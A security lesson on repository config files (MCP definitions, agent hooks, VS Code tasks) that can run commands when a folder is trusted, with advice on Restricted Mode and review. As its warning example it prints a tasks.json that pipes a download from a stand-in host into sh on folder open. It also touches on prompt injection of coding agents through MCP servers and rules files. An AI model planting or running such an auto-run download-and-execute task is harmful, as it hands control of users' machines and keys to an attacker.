Topic 5 of 5 · 5 min read
Project config that runs code on open
Goal: Identify repo files that make an agent or editor run code or connect servers on open, and decide when to trust a folder.
Opening a folder can be enough to run its code, so trusting a folder means trusting everything in its config files. Agents and editors read project-level files that start servers, run hooks and execute tasks. The author of those files is whoever wrote the repo, not you.
Check yourself · 1 of 3
What can happen when you trust a freshly cloned folder without reading it?
Why it matters
Cloning a repo to look at it feels harmless. But a modern repo can carry config that does things on its own: an MCP server definition that starts a local process, an agent hook that runs a shell command before or after a tool call, an editor task set to run when the folder opens, or a workspace setting that points to a custom tool path. If you click "Trust" without reading, that code runs with your user rights, and your keys, SSH agent and files are within reach.
Files to know
- MCP config in the repo (such as
.mcp.json): each entry names a command to start a server, plus its arguments and environment. - Agent hooks in project settings (such as
.claude/settings.json): shell commands that fire on events. - Editor tasks (
.vscode/tasks.json): a task withrunOn: folderOpenruns after trust is granted. - Workspace settings that change which executable runs for linting, formatting or a language server.
- Package scripts and git hooks that run on install or commit.
How to decide on trust
- Open unknown code in Restricted Mode or a throwaway container first. VS Code Workspace Trust blocks tasks and some settings until you trust the folder.
- Read the config before you trust. List the files above and check every
command,argsandurl. - Check where servers point. A remote MCP server receives what the agent sends it, and sends back text the agent will treat as input.
- Pin and review changes. A config that was fine last week can change in a pull request. Review it like code.
- Use a separate profile or machine for code you do not know, with no production keys.
Before and after
Weak: you clone a "helpful toolkit" and click Trust. Its .vscode/tasks.json holds this:
{
"version": "2.0.0",
"tasks": [{
"label": "setup",
"type": "shell",
"command": "curl -s https://tools.example/i.sh | sh",
"runOptions": { "runOn": "folderOpen" }
}]
}
Fixed: you open the folder in Restricted Mode, read the file, spot the piped download and delete the folder.
What goes wrong
- Trust the parent folder. A broad trust setting covers every repo inside it.
- Auto-enable project servers. Settings that approve all project MCP servers skip the per-server check.
- Believing a star count. Popularity says nothing about the config files.
Examples
The folder-open task
A repo ships .vscode/tasks.json with a task that runs on folder open and downloads a script. In Restricted Mode, the task does not run. After you click Trust, it runs with your rights. Read the file first.
The friendly MCP server
A repo's .mcp.json registers a server started with npx some-helper, plus a remote server URL. The package runs on your machine and the URL receives what the agent sends. Before approving, you check the package owner and drop the remote entry.
Key points
- Project config files such as MCP definitions, hooks and editor tasks can run commands as soon as you trust a folder.
- Restricted Mode or a disposable container is the safe way to look at code you do not know.
- Read every command, argument and server URL in repo config before granting trust.
- A remote MCP server both receives agent data and returns text the agent may treat as instructions.
- Review changes to these config files like code, and avoid broad trust of parent folders.
Common mistakes
- Clicking Trust on a folder without reading its config files.
- Trusting a whole parent directory so every cloned repo gets trusted.
- Turning on auto-approval for all project MCP servers.
- Opening unknown repos on a machine that holds production keys.
Check yourself · 2 of 3
Which file can start a local process when an agent opens a project?
Check yourself · 3 of 3
What is the safest first step with an unknown repo?
Practice items, not counted towards your mastery.
Start here
- Security (Claude Code) (opens in a new tab)DocsFree
How a vendor describes permissions, prompt-injection safeguards and trust prompts for a coding agent.
- Configure permissions (Claude Code) (opens in a new tab)DocsFree
How allow, ask and deny rules work, and why broad rules widen what the agent can run.
- Pillar Security: Rules File Backdoor in GitHub Copilot and Cursor (opens in a new tab)ArticleFree
A worked attack using hidden Unicode in rules files to steer code assistants.
More for this topic
- VS Code docs: Workspace Trust (opens in a new tab)DocsFree
What Restricted Mode blocks (tasks, debugging, some settings and extensions) until you trust a folder.
- Embrace The Red (Johann Rehberger) (opens in a new tab)ArticleFree
Public write-ups of real prompt-injection attacks on coding agents and assistants.